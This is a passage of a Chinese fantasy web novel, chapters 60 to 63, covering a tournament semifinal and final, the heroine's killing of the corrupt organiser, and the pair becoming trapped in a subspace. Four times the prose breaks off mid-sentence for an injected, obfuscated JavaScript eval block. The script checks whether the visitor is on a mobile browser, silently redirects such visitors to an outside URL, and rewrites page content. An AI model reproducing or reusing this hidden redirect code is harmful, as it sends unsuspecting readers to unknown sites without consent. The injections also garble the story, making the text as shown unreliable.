从平静得近乎冷漠的外表无法看出刀语心在害怕,她害怕萧青会因为她的缘故重蹈覆辙,像之前的翼蜥龙裔一族一样迎来覆灭。 即便她明白异兽被围剿的原因是半神阶造物引发共振,但这件事依然给刀语心留下不小的创伤。 她好不容易说服自己,锻造是可以用来帮助他人的,但是转瞬间,残酷的现实就给她一记重拳,告诉她,你帮助的族群因你而死。 “不,灾厄绝不是你带来的。”在他曾经所遇见的未来中,翼蜥龙裔无论如何抉择都会走向同样的终局。 “恰恰相反,正是因为有你存在,很多生命才得以存续。” 谢止沉也明白光凭三言两语很难抚平刀语心遭受的苦痛,他说出这些话的原因只是希望刀语心能够好受一些。 “无论是帮助还是拯救,那些本就不是属于你的责任。”刀语心出自善意的举动本不应该得到这样的回报。 说着,谢止沉伸手拿走刀语心掌心中的材料,赤红双眸与深不见底的黑暗对峙。 他说:“如果自私能让你开心一点,那么我希望你可以永远自私。” 无言沉默中,他们对视良久,直到刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873083|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语心轻笑打破寂静,她伸手重新拿起矿物,将其熔炼为金属液体。 同时,她也给出她的回答:“我会的。” 碍于时间问题,刀语心最终只制作了一个较为大号的防御装置,即开即用,可以化作结界,也可以化作盾牌。 她将这个物件交到萧青手中。 “队长也是我的队长。”虽然听起来有些云里雾里,但萧青知道刀语心的意思。 刀语心一直以来都很尊重和敬佩裴瑛,除非必要几乎不会直呼她的姓名,这是刀语心自己对裴瑛表达尊重的方式之一。 “一路顺遂。” 感激之情难以言表,萧青给了刀语心一个简单的拥抱。 放开后,她看着那双漆黑空洞的眼睛再也不觉得可怖,萧青有些沧桑的面容上露出少见的微笑,她回以刀语心同样的祝福:“你也一样。” 她们是两条相交的轨道,只是短暂相遇但很快就要背道而驰,但不可否认的是,她们都在属于自己的道路上不断前行。 “她是个很善良的人呢。” “是啊。” 风声吹散了那些远走的音调,夜色迎来不同寻常的尖啸。 “你简直就是魔鬼的化身——” 话落,鲜血喷涌,名单上最后的两个名字被划去其中一个。 其余的人全都战战兢兢,但值得庆幸的是,眼前这个杀人魔只准备杀死榜上有名的恶人,并不打算清算其他人。 猎杀名单上最后剩下的就是大赛主办方,刀语心在思考是否有必要全部划去,毕竟她最开始的目的只是为了提高自己的实力,但不久前她就获得种子突破异化之力第三阶段。 得暂且留他一命,还要拿比赛奖品。 她收起灭灵剑抬步离开,不在乎身后那些无数浸满恐慌的视线。 “我怎么觉得她的背影有些眼熟?”这也是头一次这么多人同时目击刀语心的存在,或许大概是因为雨季已经结束,又或许是她从来就没打算趁着雨夜杀人。 “嘘——” “我觉得我们最好别这么觉得。”说不准下一秒人头落地的就是他们。 刀语心从没想特地隐藏自己的身份,雨夜和斗篷都是恰恰好而已,再者无论下不下雨,名单上的人都会死去。 回住处的路上,刀语心见到一抹白色身影。 是雪姬。 不过这真的是巧合吗?心头的疑虑不可避免地浮现。 前几次刀语心出门都有谢止沉在身边,只是恰好今天没有陪她一起,而雪姬又恰在此时此刻再度和她遇见。 在拍卖会结束的那天晚上的袭击中,雪姬扮演什么样的角色? 刀语心是个有耐心的猎人,也只有在面对这些人时,她恶劣的一面才得以尽数显现,所以她将一切的疑虑压下,继续维持着自己似乎什么都没发现的假象。 “姐姐,这是几天的血。” 她手中拿着一个特制容器,其中可以清晰看见血液在其中晃荡,雪姬面上没什么血色,她一直以来都是这样,但此刻在浓稠鲜血的衬托下,她脸色显得更加苍白。 一般来说,一个正常人应该对这幅破碎摇摇欲坠的模样感受到心疼和破碎,而这也是雪姬想要达成的目的。 但现实却是刀语心什么都没做。 “好好休息。”虽说这是交易的一部分,但刀语心这么冷漠的反应显然出乎雪姬的预料。 对此她只是楚楚可怜地咬唇,似乎准备说些什么,但被刀语心打断。 “我有想过给你送一些补给品,但我想,你大概不会喜欢这种源源不断补充,又源源不断奉献的做法。” “我们还有一段同行的时日,你可以自己安排支付报酬的时间。”说完,刀语心就拿着血液离开,只剩雪姬一个人在原地目送着她离开的背影。 选择这种东西……她已经不需要了。 “该怎么办才好呢。”雪姬低声呢喃。 61. 第 61 章 “从初赛一路无败至今,72号和36号两位选手终于在半决赛的擂台上狭路相逢。这一战,他们必须分出胜负,只有一人能踏上总决赛赛场!” 说是擂台,但实际上为了观赏效果和营造氛围更像是舞台,炽烈的灯光照亮中央,他们如同下一场戏目的演员从两侧缓缓登场,在光与影交锋的刹那,周围爆发出猛烈的喝彩声。 “现在,万众瞩目的半决赛——正式开始!” 在外人眼里,他们是完全不认识的两人,但站在台上彼此对视的二人唇角都隐隐约约上扬几个弧度,压下心中思绪,刀语心率先用灭灵剑发起进攻。 在与异形者战斗过后,刀语心就没怎么遇到实力相当的对手,所以她一直期待和谢止沉交手。 利刃划过空气产生的破风声同时传入两人的耳中,刀语心没有任何留手,因为她相信谢止沉并不会轻易被自己所伤,而作为这位信任的回报,她一招一式都透露着凛冽杀机。 事实也是如此,谢止沉精准控制着二人之间的距离,同时一道用于反击的法术也在他手中具现。 在从前并肩经历过的战斗中,谢止沉就已经知晓刀语心挥剑不像剑士那样拥有章法,每一次攻击机会她都会朝着致命的地方进攻。 但他不会让刀语心的进攻无止无休。 法力凝结完毕,无数光束朝着刀语心涌去,她暂缓攻势执剑抵挡,抓住她停下攻击的间隙,谢止沉有了施展更多法术的机会。 进展到一半的法术纹路被剑光切断。 随即,更加强硬的进攻就挥砍到谢止沉刚施展出的法术护盾上。 作为互相熟知的二人,刀语心早在心中琢磨过如何对付法师,法师主要攻击手段就是法术,那么只要干扰打断他们施展法术的这个过程,就可以很好削弱战斗力。 见自己的法术被直接斩断,谢止沉也吸取教训,不再单一地用法力凝结,而是转为吟诵施法。 他手中捏着法力凝成的武器勉强抵御刀语心的挥砍,同时法术随着他的言语拥有实体,无数法术钩织成天罗地网,朝着刀语心攻去。 看到这里观众们大都胆战心惊,连同解说席也倒吸一口凉气,“72败了?” “不!她毫发无伤!” 烟尘散去后,刀语心的身姿重新出现在舞台中央,那些法术甚至没有将她的发丝扰乱。 赛场上的二人一个是锻造师伪装的剑士,一个是医师伪装的法师,但究其根本,他们还有一种相同的攻击手段,本源之力。 刚才用于防护的异化之力隐藏在刀语心的影子中,随她心念一动,漆黑攻击朝着谢止沉迸发。 只是瞬息,满目都是黑与红在交织。 “72使用了前所未见的手段!36号紧随其后!看来之前的所有对手都不值得他们使出全力,此刻才是属于他们真正的战场!”主持人热血激昂地解说着。 但在看到那抹熟悉的赤红后,特质观赛台中主办方怵地站起,那天拍卖会之后他让人去跟踪十三号包厢,也是在这样一抹赤红过后,他的人就全无踪迹。 “原来是他。”但他记得对方还有一个同伴。 看着赛场上打得愈演愈烈的二人,主办方将心中那抹有些诡异的猜想消除,另一个人总不可能就是和他交手的那位吧。 想到之后的总决赛,主办方心中不免有些担忧,他现在只期望72能够打败36,那天夜晚的景象不受控制地在他的脑海中回放,主办方有些恐慌,36实力确实有些深不可测。 只是很快,下属又传来噩耗。 “什么?72号就是那个雨夜杀人魔?”主办方放大的惊异语调昭示着他内心的惧怕,以至于他无暇顾及自己的失态。 谁都知道最近混乱地界谁都知道有个杀人魔在猎杀悬赏榜单,在昨晚小帮派领头死后,榜单上的活人就只剩下主办方一人。 也就是说,下一个死的人就会是他。 想到这点后,他颤颤巍巍地抬手用帕子擦掉自己额头不存在的冷汗,只见主办方每个指头都有各式各样的宝石,在强行镇静下来后,他和自己的心腹开始密谋。 他绝不能坐以待毙。 不比主办方心中的冷寂,解说台上是一片火热。 “这场比赛真是前所未有的精彩,72和36双方都在不断试探对方的极限,但他们之中暂时没人能抓住决定性的机会。” 再一次交手后停下的间隙,刀语心知道光凭本能无法赢得这场战斗,谢止沉说过他本源之力的权能是空间,而她则是吞噬。 八竿子打不到一起,也就没有什么压制克制的说法,只是刀语心觉得,空间也是可以被吞噬的一环。 在流光结成攻击的刹那,强横的黑色瞬息就将其侵蚀让其覆灭。 注意到这一举动的谢止沉没有错愕,他明白刀语心本该如此,比起棋逢对手,看到刀语心能够熟练使用力量他感到的是欣慰。 “很厉害。”在交手的短暂片刻他轻声说道,这句话也准确无误地传达到刀语心耳中。 “谢谢夸奖。”她简单回应。 有眼尖的网友注意到这一不同寻常的举动,大赛没有收音设备,所以观众也不知道他们到底说了什么,于是展开激烈讨论。 -他们是在互相放狠话吗?我也想听。 -应该不是,根据我的经验来看,狠话都是恶狠狠地说,你仔细看36的嘴角是向上微弯,所以可以得出这不是狠话。 -那他们会说什么?现在可是半决赛赛场诶,我还是觉得在放狠话。 -实则不然,因为72还回应了他,如果是狠话,72回应他的大概是手中的剑。 -不懂就问,这是在打架还是在调情? -铁调情。 谢止沉的确和他说的那样,将力量控制在与刀语心同一水平,所以他们之间的打斗都是有来有往,谁也无法彻底击破对方的防线。 但这样下去不行,时间拉得太长。 面对一直以来彼此熟知的同伴,过去的招式大概率都效果甚微,刀语心知道此刻正是尝试使用吞噬权能的大好时机。 不断地战斗加深着她与异化之力的连接,时机成熟后,她抬手,一个可怖的黑洞就出现在赛场正中。 在书籍中她了解过旧世界对黑洞的定义,但她此刻创造的只是外形形似,毕竟真正的黑洞并不会从其中延伸出更多力量。 从黑洞中蔓延出无数异化之力的分支,如同一双双手要将敌人拽入深渊。 猝不及防间谢止沉手臂被缠绕住,被束缚他下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882220|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步行动,他本该在第一时间挣脱束缚,但他忘记抵抗自己本能中对刀语心触碰的渴望。 也抓住这一瞬息的机会,刀语心斩断所有的流光,灭灵剑直指他的脖颈。 “是我输了。”他知道这完全是因为自己的原因。 “承让。”刀语心放开异化之力对谢止沉束缚,伸手将他从地面上拉起。 前所未有的礼貌相让,这场战斗没有一点点血腥让观众有些不适应,比赛结束后也不再是之前激昂的喝彩,反而是此起彼伏的掌声,因为谁也无法否认这场战斗的精彩。 比起之前要钱不要命的厮杀,半决赛的二位显得太有道德和风度。 -这对吗?虽然也很精彩就是了,但是之前这两位选手给我的感觉没这么和蔼可亲有礼貌吧? -大概是打着打着突然有些强者之间的惺惺相惜了吧。 -什么惺惺相惜,就是在调情,我说的。 -我支持。 -我不同意这门婚事!!! -反对无效。 “真是一场酣畅淋漓的战斗呢,比起上一场半决赛,还是72和36两位选手的比赛更让人留有印象,那就让我们期待……”总结发言说到一半,解说席突然中断发言。 “等等!还请大家不要走开,接到主办方要求,片刻后直接进行总决赛。” 听到主持人播报的刀语心抬头,可以看到主持人也有些不知所措,所有人都知道这是不合理的要求,先前每场比赛都有几天的休息和调整时间,而现在却直接提前。 好在先前的战斗刀语心身上没有任何的伤势。 这里是混乱地界,主办方就是这里的话事人,最高权力者拥有制定规则的权力,自然也可以随意修改规则,无论规则的受制者是否愿意。 听到完全不合理的要求,刀语心没有任何的惧怕只是勾起冷笑。 “好啊。”正好不用再浪费她太多时间。 面对主办方的临时变卦,谢止沉有些担忧地看向刀语心,但刀语心只是微微摇头示意她没事,随后就回到后台休息准备。 谁都不知道他们私下相识,所以刀语心要借此让谢止沉做好准备。 前行的路上有人想拦下刀语心,见此,她只是拿出自己的剑,脚步没有丝毫停下的打算,“怎么?半小时休息时间都没有?” 这位的实力手下们都看在眼里,此刻人手还不够更没有更高等级的人镇场,他们只能让路。 来到休息室刀语心瞥了一眼摄像头,视若无睹地打开终端,只是显示的信息和她传达出去的完全不一致。 看上去她只是在和人闲聊,但实际上另一边和她交流的是谢止沉。 既然主办方要耍这些下作的手段,那就别怪她也不遵守本就岌岌可危的规则,结束终端交流后,刀语心坐在沙发上手里抛着钱币,面无表情地看着室内投影转播介绍着另一位总决赛选手。 随着比赛进行明眼人都知道,对方就是这场比赛的内定冠军,刀语心也明白这一点。 一开始参加比赛只是想试试用较为简单的方式拿到自己想要的东西,如果能第二拿到奖品她也不会强求第一,但如今主办方这番举动反而是让刀语心彻底下定决心。 混乱之地,还是混乱些好。 62. 第 62 章 踏上总决赛赛场,刀语心反而没有任何激动的情绪。 她知道单单这一场战斗不会困难,但主办方也绝不会让她如此简单地获得冠军。 站在她对面的人正直视她的双眼,看着深不见底的黑暗对方心中只有无尽恐慌在蔓延,说起来他的等级不算低也有四十级,不比那些天赋超然者,在这个年纪他取得这样的成果已经算得上是出众。 但他也完全不敢骄傲自满,毕竟之前的战斗中他几次三番都应该失去性命,是因为主办方选中他作为演员,才得以一路有惊无险来到总决赛赛场。 只是主办方能搞定他眼前的72号吗?想起对方战斗的场面,他心中止不住地怀疑。 随着聚光灯打在中央,解说席声音响起,还有保密协议上的天价违约金,即便他想逃跑,现在的他也只能硬着头皮上,这是他一时贪婪所需要付出的代价。 “欢迎来到,紧张刺激的总决赛现场。”解说的声音不再一如既往地充满激情。 为什么提前举办总决赛很多人都心知肚明,大部分人都事不关己高高挂起,只是作为一路见证72战斗并支持她的人们心中有一股怨气。 但受制于各式各样的因素,所有人只能让不公平的局面继续发生。 “既然双方都已经准备完毕,那么,比赛正式开始——” 听到指示的刀语心没有立刻出击,只是站在原地看着对方的行动,看着对方因为不知道自己下一步会做什么产生无穷无尽的恐慌和不安。 身为总决赛选手,但对方的手臂此刻正在不受控制地颤抖,见此,赛场上只是传来一声嗤笑。 刀语心缓缓提剑,走向对方。 那人鼓起勇气,在刀语心的攻势来临前先一步发起攻击,但在心理压力的影响下他完全失去平日的水准,只是几个简单地来回,他手中的武器就被刀语心轻而易举地挑飞,跃出场地插在观众席不远处。 观众屏息凝神甚至不敢欢呼,谁都看得出来72号心情不是很好。 无聊。 慢步来到那人面前,俯视着因恐惧跌落甚至因恐惧无法说出投降的对手,她只是举起手中的剑。 在刀语心即将杀死对手之际,她突然朝后方挥剑。 剑身某处被子弹击中,紧接着她移步侧过身,又一枚子弹朝她面门而来打掉刀语心的面具,随即无数异化之力自她脚下阴影中拔地而起,将刀语心严严实实包裹其中。 满目皆黑中,刀语心抬手轻触自己脸颊的血迹,手指传来的湿热感,以及子弹高速划过带来的灼意在皮肤上细密蔓延。 烦人。 尖叫声和慌乱声是唯一能透过屏障传来的信息,刀语心在杂乱中分辨出有许多脚步声在朝自己所在方向靠近。 这么多人,主办方还真是下了血本,即便这些人等级不会是最顶尖的那一层,但混迹多年下来他们战斗经验绝对算得上丰富,足够算得上难缠。 刀语心脸上没有慌乱的神色,她只是在静静等待,等着黑水蔓延到解说席位置所在。 随后,她的身形在黑暗中消散。 刺耳的杂音响起,不断向外逃窜的人们向噪声源头投去视线,但在回头的那一瞬他们就被如雨滴落下的钱币闪花了眼。 在看清天上落下的雨是货真价实的钱币后,人群中发出贪婪的声音:“快抢钱啊!” 洒在空中的大部分都是铜币银币,但也有数量不少的金币并且这场“雨”没有停,还在源源不断落下,这些都是刀语心原本打算用作棱体耗材的部分。 货币相互碰撞的声音宛若天籁,原本准备逃跑的人们全部蜂拥而至赛场中心。 如此一来围猎的人反而被人群围困,即便他们个体实力不凡但大象也会被蚂蚁啃噬而死,被人群淹没的杀手们只能无能为力地看着刀语心的背影远去。 刀语心没有趁此离开,而是朝着特质观赛台前行。 她知道,主办方就在看着这一切发生。 脚步声在空旷的走廊回响,她一步步接近主办方所在,在她即将接近目的地时,门被猛然打开,两个人影从其中冲出来。 “快走!”主办方忠心耿耿的心腹拦下刀语心,为他提供逃跑时间。 见主办方慌不择路地逃走,刀语心也不急,毕竟他又能逃到哪里去呢? 完全不敢回头的主办方一路狂奔,只听见身后刀剑碰撞还有血液喷溅的声音传来,他逃到门外,见到外面无休无止的混乱场景。 道路都被堵死了,他无处可逃,就在停下的瞬息,夺命的脚步声再次响起。 “狙击手呢?狙击手哪去了?”他对着通讯大声吼叫。 “当然是死了,不然你以为还能去哪?”谢止沉解决了狙击手,远处的高楼上只有一具尸体和被折断的枪管。 直到此刻,先前准备围猎刀语心的杀手们才迟迟来到主办方身边,但看着主办方身旁没人和刀语心手中剑上的鲜血,谁都明白那忠心的下属已经被刀语心了结性命,见此情形其他人心中也萌生退意。 “你们这群废物,快保护我啊!”当上混乱地界话事人的主办方并不是毫无手段,就实力上面稍弱一等,他精于造势吸引追随者然后利用他们。 但这一切在绝对的实力面前,显得那么无足轻重。 更何况,刀语心拥有的不仅仅是实力。 看着不远处的那些护卫者,刀语心只是开口:“你们阻挡不了他必将死去的局面,不过,他手指上的戒指,最小那个都值七十万金币。” 数额是刀语心随口说的,但其他人都将视线投在主办方的手上,大多数人都了解他昔日挥金如土的秉性。 更何况主办方还每个指头都有一个硕大的宝石戒指。 谁都知道刀语心的言下之意是,你们还不背叛他吗?但谁都没有移开视线。 “他身上东西随便你们拿走,但在那之后,就给我让路。否则,你们就和他一起去死。”她很清楚这些人会做出什么样的选择。 昔日的手下在绝对的利益面前毫不犹豫地选择背叛,这是此时此刻性价比最高的做法。 他们都不认为仅凭自己的力量能够拦住下72号,既然都是为了利益来到主办方身边,自然也能为了利益而离开他。 身边的人一个个往后退去,唯一没有减弱的只是投射在主办方戒指上的目光,而主办方本人也知道对方的离间已经是完全的成功,此刻想要杀他的人才是最可能救他的人。 “我把我的全部身家都给你,你不要杀我!”主办方着急地对刀语心说道。 她没说好,也没说不好,只是操控着延伸出的异化之力拿走他递出的空间戒指。 精神力扫过主办方的储物空间,刀语心把本该属于谢止沉和自己的奖品拿走,以及带走一些自己没收集过的材料和货币,作为她的精神损失费。 面对她完全不走寻常路的做派,主办方毫无办法,毕竟现在对方才是规则的制定者。 主办方只期盼对方拿走东西后能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892971|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够放自己一马,只是看着对方面容挂着的冷笑他心中越发慌乱,在他的注视下,她抬手将所有的宝物如同之前一样抛上高空。 那双充满希冀的眼睛失去所有神色,直到这一刻主办方才彻底明白刀语心比他更懂如何利用混乱。 比起他,刀语心更像是混乱地界真正的话事人。 漆黑的枪口指着主办方,看着他瘫软在地无力反抗,但刀语心故意拖延时机迟迟不按下扳机,既定的计划被打破让她有些不太开心,原本她还想在混乱地界多停留几天。 “如果你什么都不做,或许你还不会死。”刀语心不会放过任何一个想要她性命的人。 “只可惜,没有如果。” 扣下扳机,枪声响起,一具没有生命的躯壳倒下,失去所有财宝的尸体无人在意,所有人的目光中只有被扬起四散在赛场上的各式宝物。 接下来就是无数的血腥争抢,这才是这场赛事最初的意义所在。 刀语心不在乎这些混乱,她收起武器向外走去。 许多人都看到刀语心,但没有人敢上前拦住她,她一路畅通无阻地离开赛场走到街边,见到等她许久的谢止沉,他身后还是一辆新型载具停在路口。 “主办方买的最新款,恰好能废物利用。”说着,他抬手治愈好刀语心脸上的伤痕,如同过去一样。 “挺好。”有了载具,便不用再徒步或者耗费谢止沉的力量。 见到谢止沉后刀语心一直不那么好的心情稍微平复了些,她坐在副驾看着地图上被圈中的下一个地方,遗忘之乡。 来到混乱地界外,接收到刀语心终端消息的雪姬早已等候多时。 “上来。”刀语心开口。 “太好了,我真害怕你不要我了。” 看着窗外不断后移景象的刀语心在听到这话后,只是漠然说道:“不用担心,只要我还需要你的血我就不会忘了你。” 这番话有些伤人,但刀语心很清楚雪姬并不会因此受伤,升阶血液对刀语心而言并不是什么必需品,但既然雪姬怀有别样的目的潜藏在她的身边,她便要将其利用个彻底。 果不其然,听到刀语心这么说的雪姬只是眼神中浮现受伤,但发现没人在乎自己后,她便垂头隐去神色眼眸归于平静。 有些太过奇怪,雪姬想到,刀语心身旁的那个人会让人自然而然地忽视,即便是此时此刻她立即回想,雪姬也无法记起对方的音容笑貌。 但她的记忆力并不差,甚至知道对方用来束发的发饰新换了一个。 那个精心雕琢的红宝石发扣,极大概率出自刀语心之手,一想到那人能够获得刀语心耗费时间精力亲手雕刻的饰品,雪姬心中就燃起无法熄灭的妒火。 他的眼睛颜色似乎是暗红色,在雪姬看来远没有自己的双眸好看,可他就能得到刀语心的偏爱。 还真是让人嫉妒啊。 这么想着,雪姬伸手触碰载具内壁,她苍白的指尖溢出一股很难察觉的隐秘力量,将载具圈起如同打上一个结与某物相连。 一路无言,刀语心静静看着属于人类的景物渐渐减少进入旷野,不多时场景变换为此起彼伏的山峦。 不知不觉间她的思绪陷入停滞。 再回神,刀语心发现自己已经离开载具站在一个完全陌生的地方,周围也没有谢止沉和雪姬的踪迹。 漫漫天地间只剩下她一个人,与她相伴的只有那些藏在阴影中的危险。 随即它们朝她袭来。 63. 第 63 章 这些黑影是邪魔,如今刀语心不再需要补充异化之力,所以将其全数毁灭。 但剩下的邪魔还是不知疲倦地朝她涌去,高序列种子没有压制的情况下,就是它们眼中的香饽饽。没有思考能力的邪魔永远不会明白,这香饽饽是它们啃不动的铁块。 灭灵剑都不用出鞘异化之力会帮她解决这些不痛不痒的攻势,刀语心打量着周围,和先前载具上看到的景象大致一样,群山连绵青山环绕,唯一诡异的地方就是有邪魔的存在。 可这里不是残存区边界,邪魔域的邪魔没必要舍近求远。 在刀语心记忆中她只在亚空间中见过其他世界的邪魔,那么答案已经明了,她现在身处亚空间之中。 心中闪过许多思绪,她记得完成亚空间意识的任务后会给丰厚报酬,但当务之急是先找到谢止沉。 眼前只有一条小路往群山深处延伸,但刀语心只是转身回头,她挥剑劈开那些遮挡视线的邪魔向后走去,身后是平坦开阔的旷野,只是…… 刀语心眯眼看向远方,不远处的景象正在消失,边界在被一点点吞噬。 亚空间在逐步坍塌。 没来由的焦虑从心中涌出刀语心只是将其压下,她抬手轻戳环绕在手腕上的赤红流光,准备让它带着自己去找谢止沉,流光收到信号后感受一下主人的所在方向,随后指向那条小路。 在最后确定自己看到的景象并不是自己视觉错乱后,刀语心收回视线踏上路途。 和之前黑白灰三色的遗迹亚空间不同,这个亚空间有晨昏变化,但身为破碎空间不应该具有这样的自然规律,大概率是自身模拟的虚假景象。 在黑夜中前行的刀语心看到一处火光,树影之中亦有人影晃动。 她抬手让流光确认谢止沉在不在这里,流光延长出一部分左右晃动表示否认,随即不知为何它极快地缩回刀语心手腕。 有人来了,或是说,他一直就在那里等待。 阴影中出现身形以及一道陌生声音传递到刀语心耳中:“你好?你是新进这个亚空间的吧,我们之前应该没见过。” 手搭在剑柄上转头看去,一个面容柔和的男性来到她的面前,对方的语调和外在都给刀语心一种如沐春风的感觉,她的视线落在对方胸口处因走动而晃动的四角星挂饰上,他是占星会的人。 短暂停留后刀语心直视对方,他没有任何慌乱和惊讶,就像是知道她一定会来特地在这里等她一样。 “我们不是敌人,和我一起回营地吧,你的朋友们也会在那里等你。” “这也是你预示到的结果?” 面对刀语心的问询对方只是微笑并不作答,但沉默也就代表默认。 恰在这时对方的同伴也寻来,走来时伴随着珠子碰撞的声响:“这就是你预言中的救世主?不过怎么看起来……更像一个杀人魔?” 听到这话的刀语心只是面无表情抬剑指向说话那人:“我可以理解为你是在特地寻死。” “我错了,你别激动!”看着剑锋闪过的冷光,对方随即举手投降,这也让刀语心看清对方手上拿着一串佛珠。 “他有些时候就是这样不太会形容,还请你见谅。” “自我介绍一下,我是沈辞,他是慧明,我们和很多人一起被困在这个亚空间很久了。” “我是刀语心。” 收起剑后刀语心和他们一道同行,顺便获取情报。 除开他们二人,还有十五人被困在亚空间中,加上新来的刀语心及其同伴正好二十人。 沈辞和慧明是同一段时间从不同地方进入亚空间,如果按照外界时间流动来换算他们已经在这里超过一个月。 “我其实早就想问了,你没有预知到自己会进入亚空间吗?” 闻言,沈辞只是笑着摇头:“这是我的命运。”如果随便用预言规避风险,时间一长就会彻底失去预言能力。 “啧啧,时也运也,运也命也。”慧明摇头晃脑语调轻蔑地念叨着,将一切看在眼中的刀语心只觉得比起慧明,沈辞反而更像修佛者。 “从亚空间出去的条件是什么?” “通过大门就可以。” 只是做起来远比嘴上说要难,亚空间中一共有十扇门现在还剩最后两道,而他们已经停留在第九扇一周有余,众人对此手足无措。 每一扇门连接着看不到尽头的围墙,线索、食物、药品、武器等等资源都散落在亚空间各处,需要人不断来回奔波,而且不止如此,还有各式各样的危险和陷阱,稍有不慎就会丧命。 “现在还活着多少人?” “……十人。”沈辞语调有些悲伤。 亚空间自浩劫出现后就出现在残存区各处,大家也都知道完成亚空间意识的任务会有丰厚的奖励,但除开新鲜感和刺激感后,那些血淋淋的伤亡和惨状让亚空间成为骇人听闻的化身。 除非被动被卷入和专门的赏金猎人,很少有人会主动进入亚空间中。 若不是当初刀语心在遗迹亚空间中依靠本能拔出灭灵剑,她也会死在数量庞大的袭击之下。 “夜晚不宜赶路,我们等到天亮再回去吧。”沈辞在篝火附近布置着防护阵法。 “你们的营地在哪?”刀语心并不想等待。 “沿着这条路一直向中心走就是了,所有的门都在中央……”看着刀语心起身,慧明意识到不对连忙起身拦住她,“不是,姐,你打算走夜路啊?很危险的。” “我会注意的。”从和两人的交谈中,刀语心知道这片群山中会有异兽袭击,尤其在夜晚更为猛烈。 但这并无法制止她想要见到谢止沉的意愿。 比起着急想要阻拦刀语心的慧明,沈辞反而平静得多,他放下手中的东西起身在手心结成一个赐福,来到刀语心面前将其施加给她。 “不必担心,只是一点简单的加成。” “谢谢。” 见沈辞没有异议,慧明也只好挥手和刀语心告别,“那好吧,那你先回去等我们回来吧。” 这二人既然能担当搜寻任务,自然实力不凡用不着刀语心过多顾虑,她挥手,只身隐入夜色之中。 “沈辞你心真大,你就不怕这位救世主死在半路吗?” “能背负救世主之名,她又怎会如此孱弱?”身为满天繁星中最为璀璨的一颗,自然不可能轻易坠落。 篝火闪过异动,不怀好意地视线从黑暗中冒出,沈辞只是从善如流地给自己和慧明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905195|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也加持好祝福:“我们的麻烦来了。” “刚才是我理解偏差,你其实是担心她走了自己没办法活着回去?” “怎么可能!”说着慧明将佛珠缠绕在拳头上,面容则挂着张扬肆意的笑,“我可是最强的!” 喷洒的血液没入黑暗消失无踪,同样在厮杀的刀语心正用剑给自己开辟前路,她不愿和这些失去理智的异兽多加纠缠,路上还顺手将散落的物资收入空间。 一股视线落在她身上,刀语心回望源头却空无一物,她埋下疑惑转头继续朝着目的地前行。 不知是谁的骸骨出现在她的眼前,看样子对方已经在这里风化很久。 如果是和沈辞他们一道进入亚空间的,应该不会如此过早化为白骨,只可能是在更久远的过去,一个灵魂在此消散。 就在这时,盘旋在她手腕上的流光发出预示,刀语心知道是谢止沉来了。 当她朝他而去时,他也在为她而来。 熟悉的人影出现在刀语心面前,谢止沉身上带着一路奔波的寒气,目光关切地看向她问道:“没事吧?” “我没事,你呢?”“我也是。” 短暂相顾无言的二人在对视片刻后轻笑出声。 “你知道这个亚空间和外界的时间流速有什么不同吗?”刀语心询问着谢止沉,这关乎着破局的紧急程度。 “和现实流速大致相同,你想离开还是留下?”谢止沉有出去的方法,他把选择权交给刀语心。 “可凡事皆有代价。” “不用担心,只是会耗费一些力量。”刀语心期望的事情谢止沉都会去做到。 思考过后刀语心给出答案:“我想留下来。”她想拿到亚空间意识的报酬,在上一个遗迹亚空间中她获得灭灵剑、黑渊魔晶和黑白八面棱体。 不可谓不丰盛。 “来都来了,不带点东西走总觉得不合适。” 闻言,谢止沉只是浅笑,朝刀语心伸手说:“那就走吧。” 刀语心搭上那双朝她伸出的手。 感受着手心传来的温度,谢止沉语调不详地开口:“你身上的祝福是谁给的。” “一个占星会的预言家,他们好像进入亚空间时间比我们早。”并没有察觉什么不对的刀语心和谢止沉分享先前自己的见闻。 “逃离亚空间都很困难吗?” “视情况而定,在亚空间中的一切由亚空间意识所控制。” 